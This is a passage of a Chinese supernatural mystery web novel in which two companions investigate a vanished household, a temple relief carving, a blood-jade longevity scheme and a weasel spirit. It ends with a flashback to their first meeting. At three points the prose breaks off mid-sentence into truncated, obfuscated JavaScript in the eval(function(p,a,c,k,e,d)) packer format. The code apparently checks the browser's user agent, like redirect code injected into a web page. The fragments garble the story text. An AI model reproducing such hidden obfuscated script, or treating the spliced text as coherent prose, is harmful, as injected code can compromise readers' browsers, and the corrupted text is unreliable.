另一人叫许乐,以为这两人是来问路,原本被招呼离开的步子放慢了片刻,侧身对两人甚至好奇:“两位公子也是听说了古佛一事才前来?如果你们身上没带武器,还是不要进山了!山里乱,这古刹宗刚好建在山脚那条路,没开辟之前荒的很,尽量不要去了。” 楼少渊定睛一看,视线转移到他:“这穆府上下当真全部消失的无影无踪了吗?尽管如此,怎么无人为此感到害怕?” 许乐显然已经没有了刚刚的紧张劲头,摇了摇头想要继续说下去:“公子可能不知穆老爷在一些人心中的分量……” 此时有人在身后用长棍戳了戳许乐的后背,打断了话,铁着脸看着许乐,忿忿道:“许乐?你怎么在这?还在这磨蹭?真心不想干了就让你爹把你领走,我这可不像穆府人傻钱多!供不了你这尊大佛!” 许乐一听到身后传来声音,头一转竟是自家李掌柜,眼看着李掌柜手掌就要冲过来抓他的后领,刚才与人侃侃而谈的心情瞬间消失的无影无踪,话不多说便赶紧逃走了,瞬间叫身后的李掌柜抓了个空。 只是李掌柜最后对许乐说的这句话,竟然也被有心之人听了去,这时竟是有人出来排解:“穆老爷一生光明磊落,这古刹宗就是他建立起来供奉这尊佛像的,他的善心人人皆知,你们信不得,我们这些做百姓的,自然是人人信奉之!” “对!我是信穆老爷的为人,当年他重振穆府可是没什么人愿意去出一份力,每个人生怕自己被这外乡里来的的官爷给作死了,可不,这穆老爷居然为这个镇子做出了如此贡献,为民请命,仗义疏财,才让多少人能免于饥饿!” “据说啊,这穆府一百多年前就是个达官贵人住的地方,不过官官相护,整死了这么一家,就一把火烧了这地。” “据说还有个独子啊!可惜这人一心向远方,云游四海就再也没回来。” “这穆老爷,我怀疑就是那云游回来的独子,不过这穆家也灭了百年有余了,他如今也才不过耄耋之年,这倒也不可能。” “瞧你说着,这出家人哪能这么容易就还俗,他肯定是铁了心的要走,他父母哪拦得住。再说了,这先老爷也不止他一个儿子吧,没准这穆老爷就是他在外偷生的呢。 众说纷纭之间都是来提这穆老爷曾为沃洲镇村民做的好事,且听闻事实如此,再多争辩也无用。 如今无从得知,楼少渊若有所思,谢过开头那人后,紧接对着还在吃饼的独翊说:“先去拜访一下那位出钱供佛的官儿。” 独翊叼着饼点了点头,把剩余的一个饼塞入袖口,顺势拢袖。 楼少渊见状失笑,集中兴趣看向他:“就这么喜欢吃饼?都吃一路了还不腻?” 独翊想说的话都被还没吞下肚的饼盖了过去,楼少渊等了他一会,半晌后才答:“好吃,不腻。” 独翊是真的没吃过饼,这么说吧,独翊应了楼少渊的消息来到茶肆,路过周边第一次吃到摊铺的美食,他虽然也居住京城,却也是第一次踏入这片区域,自然没见过什么美味,即使是楼少渊都不入眼的美食,他却如此喜欢,每每想到此时心中就感到不快,以前吃的都是些什么?还不如这饼好吃! 两人随着路人的指引来到了穆府门口,虽然路上的人都对这两人的行径感到古怪,但还是有意无意中所指每一条正确的路,于是不过一刻钟,两人就来到了穆府前。 穆府的大门紧闭着,红漆木门早已从边缘开始淡化,门环也不知经过多少手,经过风吹雨打只留了中间环扣部分呈现出亮铜色。 独翊负手转悠了一圈才出声,对楼少渊说:“这里怎么这么安静,我走后边看看,顺便消消食。” 转身招了招手就走了。 楼少渊点了点头,看着他远去的背影喊了一声小心后,两人一前一后就分别了,楼少渊索性开始敲门,等了大半会也没人来开,刚要准备破门而入时,不经意间,门“吱嘎”了一下就从里边打开了,见里面有个壮汉探头朝着外围打量,紧盯着楼少渊,不耐烦地打发:“这几天老爷都不会客,你请回吧。” 说时迟那时快,话音一落就像是传达好消息一样,门迅速地关上,这时楼少渊却管不了这么多,冲上前去急忙用左脚卡住了门,这才让壮汉无力挽回,朝着他喊道:“这位好汉啊,我是来给穆老爷颁奖赏的,您好歹给我招呼一下。” 这壮汉也没想到楼少渊居然不顾颜面,会卡着自己的脚自愿受罪,但也无济于事,继续斥逐道:“什么奖赏也不要,我们老爷不缺。” 楼少渊只觉得这壮汉不识抬举,怎么不能通融一下呢,对外人这么抵触,真不像穆府招来的人,压得实在是有些疼,壮汉一边按手就可抵住了一边门,这才没让楼少渊倒了进来,可这楼少渊硬是把头伸了进去,只管朝里说:“哎,瞧你说的,这可是民众为了穆老爷的大义之举所众筹的,以穆老爷的性子不会不收的,就让我见见他吧。” 见这人实在有耐性,没知难而退,壮汉这才有些无奈叹道:“好吧,你先随我来。”于是将门打开,这才放楼少渊进去,他心中那么一想,早那么做就成了,现在还挨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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床头正对面有一座佛龛,只是里面空空如也,虽然并没有供奉佛像,但是论传闻所述,这佛龛之上还真的可以供上一尊人形佛像,而这个佛龛是深入镶嵌在砖内,也有木板作隔,简易至极,更不是什么机关,只需用一幅字画即可挡住整个墙面了。 这房间实在是能看得出来这穆老爷生平节衣缩食,勤俭节约,还当真没有什么值钱玩意放在房子里,而佛龛平台无灰,干净整洁,除了有些细碎的毛发洒落在案台两侧,倒还真是没有什么可看的了。 正当独翊又在屋内找寻了一番,找寻无果后走去伸手打开了窗户,一眼望去,正对着的竟是那棵槐树,他眼睛微眯,顿时注意到那个黑坑里正趴着一只猫头鹰! 一般来说它是夜行动物,本不会在白天行动,刚才靠近的时候分明什么也没有,那它是何时飞来的?独翊心头一跳,竟然正好对上了那猫头鹰的目光,那猫头鹰转了头一圈,似乎有灵性的朝着独翊的方向“咕”了一声,便在那个黑坑中趴下了。 独翊虽然觉得奇怪,但也没多想,自顾绕了一圈才回到了前院,但没见到楼少渊,来去来回又找了一圈,还是没见到个影子,先后竟是听到内宅传出了喊声,独翊犹豫再三还是翻了进去。 6. 古刹 老远就看见楼少渊自也悠哉地坐在前方的太师椅上,四周竟然摆满了各式各样的精美宝物,内宅之地不用多说,都是些女眷的陪嫁所攒之物,可是为何都摆在外头,除了反常之外,实在夺人眼球,真不怕有心人贪图?或许是沉积久了,这些东西都散发着淡淡的熏香味,甚至是有一种不寻常的气味。 他手上竟然还拿着“玉净瓶”模样的宝贝在晃悠,居高临下的看着面前的壮汉,脸上笑意不减:“看守的这几日,你发现了什么异样?” 正想着这楼少渊为何能那么悠哉呢,没成想这壮汉头上竟然抵着一口铜钟,铜钟则是悬于厅堂内中部架梁之上,铜钟周围的铭文雕刻的极为精细,不愧为巧夺天工,将那壮汉地手腕紧紧绑起来与头上的铜钟内部之上相连接着,而吊顶用的竟是麻绳支撑,这楼少渊竟是有那么大个力气? 这铜钟算大也不大,但盖住个壮年人也是绰绰有余,独翊见状哑然失笑,行步稳当的负手走去,假意若无其事道:“这人是犯了什么错?” 壮汉气的急忙解释,双膝还未跪地,身子在不断地扭曲挣扎,疯忙回驳:“没有!我真的就是个看门的。” 楼少渊不知从哪掏出了个乌木镇尺,如同惊堂木一样往扶手上敲,倒是颇具震慑感:“你还敢装?这些宝贝难不成是凭空出现在内院的?如果我要说再晚来几天,穆府的宝贝不得被你搬空了?” 壮汉犹豫了半天才缓缓开口:“听我解释!这些都是经过这次祭祀之后,穆府之人在后山挖出的宝藏!承天之祐!祭祖所赐之物,并不是我的!更与我无关!如果你们想要,全都可以拿走!” “你难道绝无二心?刚才把我一人引于此地,想要束缚我的时候,你怎么不是这般模样?”楼少渊作势扬起玉净瓶对准面前的铜钟,若是砸下去不会脑袋开花,而是被震的一声不吭,缓不过劲来:“那你可高傲的很,方才见我手无缚鸡之力,骗我穆家众人还在此处!是想把我当场清理了?” 独翊上前一步,顺势拦住了楼少渊的下一步动作,朝壮汉问道:“暂且不论,穆家那些人呢?” 壮汉想来解释也无力回天,最后摇了摇头,但不敢放弃:“前些时段刚巧是穆府祭祖之期,清晨的时候……先有一帮穆府人去了后山挖宝,过了很久也未曾回来,像是失踪了。” “那么多人失踪,穆老爷没察觉到异样吗?”独翊心中疑惑,又指了指这些奇珍异宝:“那这些东西是怎么运回来的?” “原先那场做法事的祭主,事后一晚命人从山中运来一批财宝,也就是这批货,说是什么天恩所赐,先让众人开眼,令其增添信任,穆府一半人就随祭主一起去了山中,再也不曾回来。 二来家中只剩女眷,失踪的少壮年也有穆老爷的好几个儿子,穆老爷倒是没觉得他们失踪有什么异样,但按耐不住穆家几位妻妾的怒火,穆老爷坚定的相信祭主的为人,还是选择后几日上山寻人。 前一天他让我看好穆府,若是有人来敲门,就找理由拒绝,那晚我怎么都睡不着,只好起夜,外面像是有风,我只开了一条门缝,外头风声似乎又停了,竟然一点动静也没有,太晚了!心想这或许是幻觉?其实这个院子是有一处漏风点,那处狭窄,刚好可以看到穆老爷院内的情况,我走出去这一看!不得了……!穆老爷走在前头,身后跟着的就是他的那几位夫人还有丫鬟,一帮人走路的姿势竟然诡异得整齐……而且,我当时隔着墙面看向外边的围墙时,竟然有多只黄鼠狼站在墙沿上,纷纷朝着穆老爷那批人作朝拜状!所以当晚穆府中仅剩的女眷们,最后也跟着穆老爷身后走了。”听壮汉如此讲述,对穆老爷的行径何其古怪,更大为不解。 楼少渊眯缝着眼看他,不经意的打量他全身上下:“你怎么也住内宅之地?女眷之所?” 壮汉被说的头昏脑胀,好生敬佩这人的脑回路,眩晕了一阵:“不是……这几日祭祖,女眷们都搬去穆老爷的院子住了,所以……我只能住在这,看似穆府很大,其实能住的地方很少!我住的也是杂房!之后拗不过想要面见穆老爷的人,只能说几句推辞话就让他们散了,前方这位公子,我不是有意引你进来的,最开始只是想把你打晕,然后等到晚上再拖出去……” 楼少渊还得庆幸没中招,越想越气:“废话,我能不知道你的想法吗?你还知道什么?且说穆家来人来历?你能清楚多少?” 壮汉又像是掌握了此番秘密,得意忘形的撇了撇嘴:“……只要放了我,我才会真心实意……” 独翊越过壮汉身后,接过话语权,话锋陡然变冷,面色渐寒:“罢了!我也不想浪费时间了,好在……你再也无需替人遵守承诺,这秘密就留到路上吧!” 说着不知道从哪拿来一条缰绳,如同笑面无常那样幽幽的痴笑,一圈一圈缠绕在壮汉脖子上,虽然此时还是当午,可是这当下不知怎么还有雾气在身后蔓延开来,这种不同寻常的力量令他无力胆寒,只好认栽。 原来在十几年前,穆家一行人来到了沃洲镇安家落户,而新穆府的选址的这个地方,则是百年前的老穆府。 众人原以为又是个外乡来的土豪劣绅,唯恐纷纷避之不及。其实不然,这穆老爷乐善好施,只要是哪家困难,只要求上他,他便会对民众慷慨解囊,甚至罄其所有帮扶所需要的人,不久之后穆老爷的名声传遍了整个沃洲镇,谁人不知无人不晓,民众颂声载道,受人敬仰。 偶然有一次,穆老爷竟然在山中挖出了一尊佛像,人们在庙内焚香祈福时,观感诧异,看似如金山般的佛像却也不能称之为真正的慈眉善目,两耳垂肩。 相较于一般出土的,这尊佛像就显得太接近凡体之躯了,通体的颜色已经有些暗黄,却并不像黄金那般富有光泽,所做之事更像是人为雕刻,亦或者是以此身为固,手工涂抹上色的。 毕竟穆老爷心中崇敬,便下令修建了这座寺庙,名为古刹宗,特此来供奉这尊佛像。 古刹宗在修建的过程中,穆老爷想找一位工匠在古刹宗内绘刻浮雕,而这个事迹就是来自于佛像的前身。 可是想要在四周雕铸浮雕壁画,很少人能做到精益求精,况且当年的沃洲镇学这种工艺的也少之又少,不过不久之后,却有一人前来,甘愿帮穆老爷完成这个任务。 至于穆老爷怎么会知道这尊佛像的生平却也无从得知,但旁人也不好再过问,建好古刹宗后,这尊佛像就被安置了进去。 只是最近这几日,先是整个穆府上下全部失踪,而那个供奉在古刹宗的佛像胸口被挖了一处,实在是奇怪。 楼少渊盘问:“那祭主是什么来头?” 壮汉头一扬,又侧过脸说:“应该是穆老爷每年家中祭祖请来的,何时到穆府的不知道,总是黑袍进黑袍出,哪能知道是什么鬼!”壮汉的肩膀紧绷着,来回扭动,“你们没见到那棵槐树中的黑坑吗?穆老爷作为穆家最后一代,届时肯定要有一位祭主来主持祭祀事宜……” 独翊侧头细问:“那棵槐树中的黑坑是怎么出现的?作用又是什么?” 壮汉闷声闷气的开口:“在穆老爷还没来沃洲镇的时候就有了,据说是槐树要成精的时候,遭遇天雷劈下一道烈火,烧出了个坑,可根顽固不死,却也没有要还生的迹象。” “骗人的把戏吧?”楼少渊与独翊眯缝着眼朝着壮汉靠近,一脸严肃打量,不像是当真信了的模样。 壮汉额头早已冒出虚汗,再次坦然:“听我说!穆老爷不是穆家后人吗!而且此处风水极佳,天雷劈向槐树时,并没有导致其根死,却成就了一处被雷击过的地方,注定天缘!所以黑坑就成了祭祀当中的烧香处……自然而然地就成为祭祀通灵的地方,这不无道理!” 独翊却摇摇头:“我可没看到什么香灰。” 壮汉咧出一口牙:“……在我这里……” 果不其然,二人在壮汉的身上找到了好几包香灰,难怪独翊去到黑坑前时,看不到一点古怪,原来是被壮汉收拾去了。 楼少渊背手转身:“你拿香灰做什么?” “当然是除秽……其实没遇到什么,你也看到了,我是一个严谨的人,害怕这些东西,所以只能看着,不敢移动,也知道穆老爷的影响力,如果不是受托,我是绝不会做出伤害别人的事情。”讲到这,背后的壮汉莫名打了一个喷嚏,说完所知道的事情之后,连忙恳求楼少渊是否能把他放了,只见楼少渊摇了摇头,冷淡回应:“不能。” 此人贪财是真,此时遇见的如果不是楼少渊,是手无缚鸡之力的旁人,或许早已被暗中解决掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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楼少渊拾起两根熄灭倒地的半截红蜡烛,挽袖一番越到上头,踩着石台去接长明灯上的火,点上火之后跳了下去,将其中一支递给了独翊:“到了,从这开始看吧。” 两人上前一步,顺着浮雕找到了第一处位置,上面隐约是一处府邸,怎么看都不像如今穆府的样子,但是有一株形似树的模样雕刻,独翊实在是眼熟,觉得实在熟悉:“槐树么?我刚刚在内庭院见到了一棵有火烧痕迹的,如雕刻所示,确实有些相像。” 楼少渊的视线落在他脸上,指着浮雕看向独翊,想起那壮汉说的那些话,眉间一挑:“那壮汉说的好像也不差。” 独翊忽然停顿了一下,想起原先前的传闻,脸色变了,心中像是想到了什么,默默踌躇了一会:“其实楼兄……我到现在还有一事不明白。” 楼少渊有些不明所以,因为习惯了独翊的扭扭捏捏,这会无心与他对视,退出两步后还在不停的观察着周边的浮雕,毫不在意地说:“什么事。” 独翊有些难为情,紧盯着他的侧脸,勉强试问:“你还记得我兄长未立足楼台山之前,做过什么吗?” 听到此话,楼少渊立马收回视线,回眸对视片刻才唤起有那么个记忆:“……就如“平沙落雁”中的铜雕,都出自他之手,你是认为这些都是你兄长做的?” 独翊神色一黯,仔细斟酌了一番才考虑道:“我想是这样的。” 听到独翊的想法,楼少渊虽然有些惊讶,还真没想到这一方面来,确实有些太扯了,心中不免疑惑:“可是你兄长身为一方之主,为何会投身为普通人做事?” 独翊也有些想不明白,兄长怎么可能轻易给穆老爷做事,再怎么样世上也少不了接手这种事情的人,怎么可能会偏偏这么巧。 直到楼少渊看到了浮雕里一处极为熟悉的建筑,竟是一口铜钟,与刚刚穆府内宅的那口铜钟模样还真的有些相似,精细到刻纹都能按出印子来,朝那看去时,顿时瞪大眼睛:“这也有些太相似了,穆老爷到底是什么来路?我是猜测他和那个佛像的原身,到底是什么关系?” 总而言之,他确实不信,因为穆老爷做的这一切都太荒唐了,是为了什么呢。 独翊正看向别处,听到楼少渊这么说,这目光也循着这里看过来,不看不要紧,仅仅是扫了一眼,瞳孔猛的一缩,瞬间僵硬在原地,抬手指了指那处方向,顿时有些犯怵:“楼兄……这钟是清凉寺的那个啊……” 城北清凉寺的古铜钟!曾经被誉为潇湘八景之一的烟寺晚钟。 竟然能在这看到遗迹。 7. 禅师 曾经有位云游的禅师来到此地,不久后在清凉寺禅定数月后得一别号为幻逢禅主。机缘巧合下结识了独淮客,两人相谈甚欢,在独淮客口中听闻世间人情百态,心生怜悯。 留下一句“行亦禅,坐亦禅”,就离开了清凉寺。 此人行踪不定,又难以捉摸,独淮客因维持生计,不得不作出离别之举,他曾经是否也想过,如果从来没有与他讲过这些话,他是否遂了他的愿,一辈子留在清凉寺? 可是对于幻逢禅主来说,即使是独淮客,即便料到他的身份也是一样的,同是众生自然,应无所住而生其心,断不会因为任何人的一言一行做出违背本心之意,于是在这条路上,禅师找到了新的意义。 取舍终有道,禅师会比独淮客更加坚定的走这一趟。 楼少渊没有说话,现在头绪确实是很乱,独淮客能为这里甘心情愿的雕铸也可以说得清了,两地于衡阳之间尤为近,两人百年前相识成为挚友,可惜禅师心向远方,并非是坐而论道之人,所以并未多过停留。 独淮客自然珍重这份友谊,从未放弃过寻找禅师的念头,所以这些年在寻找禅师的途中偶然发现了一丝踪迹,寻到此处发觉这尊佛像竟与禅师极为相似,知晓了禅师早已身死,于是伪装成匠人按照穆老爷给的指示雕刻禅师的生平事迹。 或许这是他自愿为禅师做的最后一件事。 “如果没猜错的话,穆府内宅的小型铜钟更像是仿制清凉寺的,差别就是在于这个地方,不同于一般的莲花撞座。”撞座边缘留有一圈缝隙,在这面浮雕中显得尤为突兀。 楼少渊一眼就察觉出端倪来,修长的手指划过那处浮雕,停在“撞座”上,震惊之余又问:“你刚刚在穆府的时候怎么没认出来。” 独翊恍然想起,抓了抓脑袋才解释说:“刚才只觉得熟悉,但不确定。当时路过清凉寺,却没正儿八经的进去过,铜钟置于寺外的外亭中间,实在显眼,从远处见到一面就再也不会忘记了。” 听到独翊的解释后,楼少渊愣了愣,触碰浮雕的手又缩了回去,于是好奇的转头瞧着他:“你和你兄长走南闯北了很多年?” 独翊对上视线,笑带天真却又含蓄了几分:“没有很多年,我以前独自住在白鹤山的一个道观里,兄长告诫我不要出山,久居一地多年后,兄长也事成之后不久……就被带到了京城,至于远远见到的清凉寺,也是因为后来和兄长掌控的那处地界比较接近,顺势路过而已。” 楼少渊心系感概独翊山中的生活是否多彩,于是目光朝他靠拢:“不过你独自生活的那些年……过得怎么样?” “我忘记了很多……早记不清了。”独翊毅然闭嘴,其实他早年喜欢在山中裸奔,无人拘束的日子过得恰然又惬意,全然不怕感寒,但是回到京城后身子骨却弱了起来,也不知道是独府之地选址不佳?建于阴气极重一带?于是岔开话题,散去视线,看着那尊鎏金铜又说:“这个穆老爷和禅师到底是什么关系?能让兄长心甘情愿为他铸浮雕?莫非是穆家后人?可是真正的穆家已经消亡百年之久……” 楼少渊听完走回原处,顺势梳理起来,指着第一块浮雕推测,内心也全然不信这个穆老爷的所作所为:“试想一下……或许这个穆老爷一开始就抱有目的来沃洲镇呢?他早已知晓“真”佛像埋入山中的踪迹,便提早仿制了一尊形似人身的假佛像,一切尘埃落定后将假的放入古刹宗,把真佛像供在自己的房间里,将二者替换。 浮雕记载了三块,分别代表未出尘时,出尘云游之间,后面这个不太清晰,类似途中还俗?!前者听闻禅师是家中独子,毕竟无心娶妻就出了家,后者还俗之后难道就享了齐人之福?这其中还是不得而知。 如果穆老爷仅是在禅师游历途中,扶危济困之时遇到的普通人,那又该如何呢?他心中既对这禅师心存感恩,不然也不会大费周章为他引得众人敬慕,百姓们也只是看在穆老爷的份上情面难却。 再或者……很早之前穆老爷就与禅师相识,如若他们俩确实是有亲缘血脉一类,知晓到禅师生平倒也不假;或许这穆老爷并非穆家血脉,不管他是否与禅师同为一脉,大家只是认为穆老爷感恩怀德归乡,借势传扬光前裕后,人云亦云之间潜移默化,早就让人觉得他是穆家留下的最后一代。” 独翊眉头紧皱,沉思了一会,实在是想不明白:“可是不是说这位禅师早已身死百年了吗?如果禅师与穆老爷百年前早已认识,那这穆老爷不也是百年之躯了?毕竟从来不会有人莫名其妙的去做这些事的,穆府中人祭祀时求财成真,那穆老爷呢?活了那么久也是离奇,更不可能无欲无求。” 接触到他的视线,楼少渊稍许停顿了片刻,理了一下思绪,忽而想起茶肆中的“血玉”之说:“如果雕刻事迹只是为了掩人耳目,他的目的或许是在于佛像本身,如若是真的,那便讲的通了,猜测下来也不是没有逻辑,只是实在是太虚浮无形,玄乎其神了。” 紧接着楼少渊连带着思考说出了自己的想法,投在浮雕上的目光都长远了些:“如果穆老爷无意中得知了禅师身上的血玉能延年益寿,于是心存欲念想要夺取血玉?在最后的几年达到身不死魂不灭?!” 独翊听到这里一波三折,浑身刺挠的跺了一下脚,心中大感诧异的拍了一掌:“可是这血玉这百年来浸的可是禅师的血,或许早已和禅师融为一体,不可分割。一来二去反复无常,如果擅自夺取,禅师没了血玉会死,从而血玉失去灵力,也不可奈何,这可经不起折腾!除非……如今有了第二块血玉?!” 两人听完同时大惊,普通玉种确实好找,不过短时间内又怎么能成就一块血玉呢?古籍里倒是有讲,如果用深山异兽之血沉浸炼化,奇效虽之多,却也是年深日久的耗时之法。二者入身之后是否会因排异而死?!穆老爷早已不似当年,所以这个法子,以他凡人之躯自然行不通。 他怎么能有那么大的能耐?难道是有人暗中相助? 听着独翊的见解,楼少渊也往前一步,紧盯着洞口摇了摇头:“如果真的有第二块血玉,那它的来历绝不简单,正好也可以说明穆老爷为何能苟延残喘到现在了。” 而这其中隐匿最深的东西,恐怕就是提到的那个祭主……人的欲望千变万化,算不得也算不到。 当然,一切都只是虚妄的猜测罢了,独翊听完捏了捏眉心,往旁边蹲了蹲,忽然暗叹:“这桩前尘往事竟然能将兄长也牵扯进来。” 其实从头到尾楼少渊也料不到有这一出,走上前去一同蹲在他身边,附和安慰:“令兄定是重情义之人,料到禅师这等下场,他当时也很无奈。” 说着独翊把脸埋入阴影中,这会楼少渊的脸色也跟着凝重了起来,却也不知道怎么安慰他,早知他会担忧他兄长之事,也会懊悔冲动此行。 虽然楼少渊与独翊年纪相差甚远,可独翊却与一般修行的妖者大不相同,保留了天性所化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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独翊回忆了一下,这种腥气跟黄鼠狼身上的味全然不同,甚至余味还弥漫在整个古刹宗里,此行专攻佛像的心口,似乎又显得有些狼狈不堪,很难说清到底是什么:“你是说黄鼠狼是想把一切嫁祸给穆府那些人才闹了这么一出?那个祭主是黄鼠狼假扮的?!但话又说回来,它的目的却是穆老爷房中那尊真佛像,毁坏假佛像实在是没有什么好处。”楼少渊也觉得奇怪,难道是想要人把所有目光都转移到被攻击的假佛像上?最初人们只觉得是古刹宗那尊是有妖邪作孽。 这个道行的黄鼠狼不是凭一己之力拿走佛像,而是召集其他未成形的后者来搬运,毕竟它附身于人体更是招摇,维持人形也就只差一步,如此看来,所以这最后一步,是为了做出心术不正的得道之举? 楼少渊又开始喃喃自语了起来:“假如是两个为了求全欲望的碰到了一起!穆老爷却已年老,自然是比不过这成了精的东西,如果都在谋取各自的利益,能做到两全其美,它怎么就不能附身在别人身上筹谋这一切。” 穆老爷是何等人?他若是出事,以他的影响力肯定会在沃洲镇引起风浪!最具嫌疑的就是,在于内宅外部显露的“玉净瓶”和其他宝物,就是一大误解处,如果祭主是黄鼠狼假扮的,早就在此地做了很长时间的手脚,就是为了取得穆府中人的信任,它便会对人的心性洞察于心,祭祀无非也就是求财求欲,若是祖先显灵,真将财宝赐予后人,从而招引诱导他们去后山挖宝,况且这件事确实显灵了! 穆老爷对待外人出手那么阔绰,家宅周围都极为简陋,更对家眷们却一毛不拔,穆老爷是虔诚,外作无欲无求之人,那也是他自己光辉万丈,受人敬仰,其余这些年的穆府人则是受尽了攻苦食啖……所以大家反倒是先怀疑穆府那么多人密谋掳走了穆老爷。总而言之,穆老爷已年老,断然不可能奋加抵抗,积怨已久哪能作罢,到头来也得不偿失,可这穆府上下接连失踪,根本没有一点下落。 8. 独翊 沉思了许久的独翊一经推敲,眼里瞬间泛起寒芒,斩钉截铁道:“讨封!这佛像历经百年岁月!周围灵气盎然,气息不灭,它认定是已成大道之人!但穆老爷早已年过半百,心生恶念,作出昧心之举,却被一只前来讨封的黄鼠狼给半路拦截!” 楼少渊点了点头,听闻有理:“也只能那么想了,也不清楚那阵腥气是什么?假佛像中难道也是血玉?楼台山那个人是怎么知道的?……所以穆老爷是想要延寿,与黄鼠狼达成交易,如果此目的达成,那这几日便是黄鼠狼的目的了。” 独翊不禁后怕了起来,伸出手在衣内掏着什么,像是想起来了却又一拍脑门,恍然大悟:“兄长幼年时给我拟了一本《归蓑集》。” 独翊的声音越说越低,紧了紧衣服,连忙把手藏进袖口,连脖子都往衣服里缩了缩。 “里面记载的妖怪会化形,分善恶,辨是非,与人一般无二……但是我忘记带了,里面的画像确实很可怕,像是真的会从中钻出来的一样。” 楼少渊看他这幅模样,不明觉厉地笑了笑:“还有呢?幼年时看过的话本,都过去这么久了,对你来说也会有阴影吗?” 经过这么一提,独翊瞬间哽了一下喉咙,想起自己一直以来不肯接受自己的真身乃是妖物所化。 想起当初和楼少渊第一次见面时,子时夜半三更他坐在一辆包裹着极为密闭的轿子上。 只有一匹黑马带着他到独府门前停下,仔细一看轿外,外头竟连个车夫也没有,这大半夜的,独府新贵为何这时前来?实在诡异,这才让在街上四处溜达的楼少渊起疑心。 夜晚光照不足,阴影遍布,二者天气稍寒,四周寒风簌簌,不由得让整座建筑从内到外都透露出一种冷意,简直是非常人所居之地,楼少渊一路看来,想到这心中也思绪万千,这人到底是什么来头? 直到独翊靠近门边下马,大门悄然从里敞开,神不知鬼不觉地就进去了,见不到轿中人,楼少渊兴致全无,可是又不知哪里冒出的躁动,非要见识一般,随之静悄悄地溜到后头,转了一圈,望眼四面极高,即便是有人搭伙上去,也怕有锐物分布在沿顶。 这地方比其他人家屋外的外墙高上太多了!四周可没什么石头木板搭台,上不去可咋好呢?他灵机一动,立马动手撕下衣服上的布,撕成长条状后,前后端接连绑在一起,也不惧外寒冷。 这楼半仙做的衣服可不是一般的差,别看他勤俭,也不过心血来潮的时候才算有时间,平时攒的钱净拿去买酒,对外说着“借酒消愁”,好一个深沉自己,怅然若失。 虽说有点功夫,却不管儿子在外玩的多起劲,不关心,也不试问几时回?楼半仙却只散养,说玩累了还记得自己有个青山舍的家就很不错了。 楼少渊也是顽皮,多次乐而忘归,青山舍对他来说也不过只是一个落脚点,知道楼半仙不管自己,那便少了拘束,可他对外又知礼数,不像是个没上过学堂的孩子,有人问他上过学堂吗?是否是楼半仙不愿让他学习,他直言就说没上过,说有心之人多做尝试,后不入学堂也无妨。 从来不想当什么地方官,更不想读取功名利禄,那些文绉绉的因循守旧和萧规曹随的片面追求,他更不想接触了。 这会撕起来丝毫不心疼,自然也不介意浪费多少料子,那是因为真没想过。 不多时就绳头就有个抛绳结打出来了,看着系的异常牢固,可是该怎么抛到另一头呢? 看着面前的这堵墙,他沉默了一会,正愁没办法!忽然闻到里头有一丝暗梅香萦绕心头,仅仅只是一瞬,楼少渊倒退走出几步,又斜远了些看去,里面冒出了许多乌压压的枝干。 树枝不是一时之间冒出来的,好在有了突破口,莫非是梅花?此时却不开花,种类不知,但看着外扬出来的枝头正是进去的好把手!于是他决定靠抛绳先落入枝头处,穿过固定点后的绳结从另一头顺利的垂挂下来,两绳结在手劲出发力,先试探粗枝的支撑点是否牢固,好在天遂人愿,途中布做的绳结也没出现撕裂。 几番折腾下来后,靠着臂力和脚踏墙体支撑着爬上去,随后慢悠悠的落在了上面,好在并无尖锐的东西置于沿上。 现在的他只想大口喘气,从上俯瞰这株梅花树,月下照影,心里不得不感叹,即便是在城外的梅洲也很少能见到这种千年梅树,刚才离得远看不清,原以为它是还未开花,实则枝头早已有花苞显现了,含苞未放的枝头一点深红,他没多想就随意摘了几颗花苞嚼口充饥,虽然口感不太好,这树还借了力让他上来,楼少渊想了想,把绳系成一个蝴蝶结挂在枝头,就做礼物了。 要是别人看见了,总觉得是在胡闹,枝头一抹红还尚未绽放,这白布连挂中间,喜迁新居之日怎么看都不相投合。要是被这府中之人看见这副模样,誓要找到这个放荡子。 楼少渊怕跳下去有风吹草动,况且太高,只能沿着围墙走,走到一处偏北角,朝下看窗户里面就有一忽闪的光亮,判断这偏房里住的就是那个轿中诡异的人! 他仔细看地下,都是一些未干的泥土堆积,如果没猜错,这里是主人家后期栽植的地方,话音刚落,他很轻易地就跳了下去,所幸发出的声响不大。 楼少渊静悄悄的摸索到门前,却不知自己的动作早已被屋中人尽收眼底,刚才的所有动静也一清二楚,似乎没把潜入者当回事。 独翊算着时间,起身端着蜡烛入帐中,门也没关牢固,楼少渊自然而然地就进来了,动作又忽然一停,这才想起,这若是位女孩子,那真是太不妥了!这么一想,还是退出了门外,一开始怎么就没想过屋内若是位女子呢? 他一拍额头闭眼思考,只觉得今天做的一切都怪怪的,竟然神不知鬼不觉地想要知道里面究竟是谁?是谁跟自己又有什么关系?这一出太没礼貌了! 没多想 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楼少渊尴尬地挠了挠头,被发现后终于有点忸怩态了:“没见过,我就是闲来无事,随便逛逛。” 独翊态度放缓了些,察觉到这个孩子直愣愣地站在门口,身上衣服单薄,倒是被撕裂了好几处,这会外头的风吹进来也有点凉,他也减少了些许戒备心,存着一丝担忧:“进来吧,外头凉。” “实在打搅了,我只是好奇。”楼少渊穿过画轴,朝着里探了探头,却没见到这人,原来他是在帐内对他呼唤。 独翊眉心紧蹙,隔着纱帘看的更为清晰,看见他一身破布寒酸至极,又多了些怜意:“你怎么会到这里来,你的父母亲若是知道你在外感寒,实在不妥。” 楼少渊捏了捏手心,木呐无措:“是我自己要出来的。” 独翊细看完,一道温声:“桌子上有新的衣物,也是干净的,你拿去穿。” 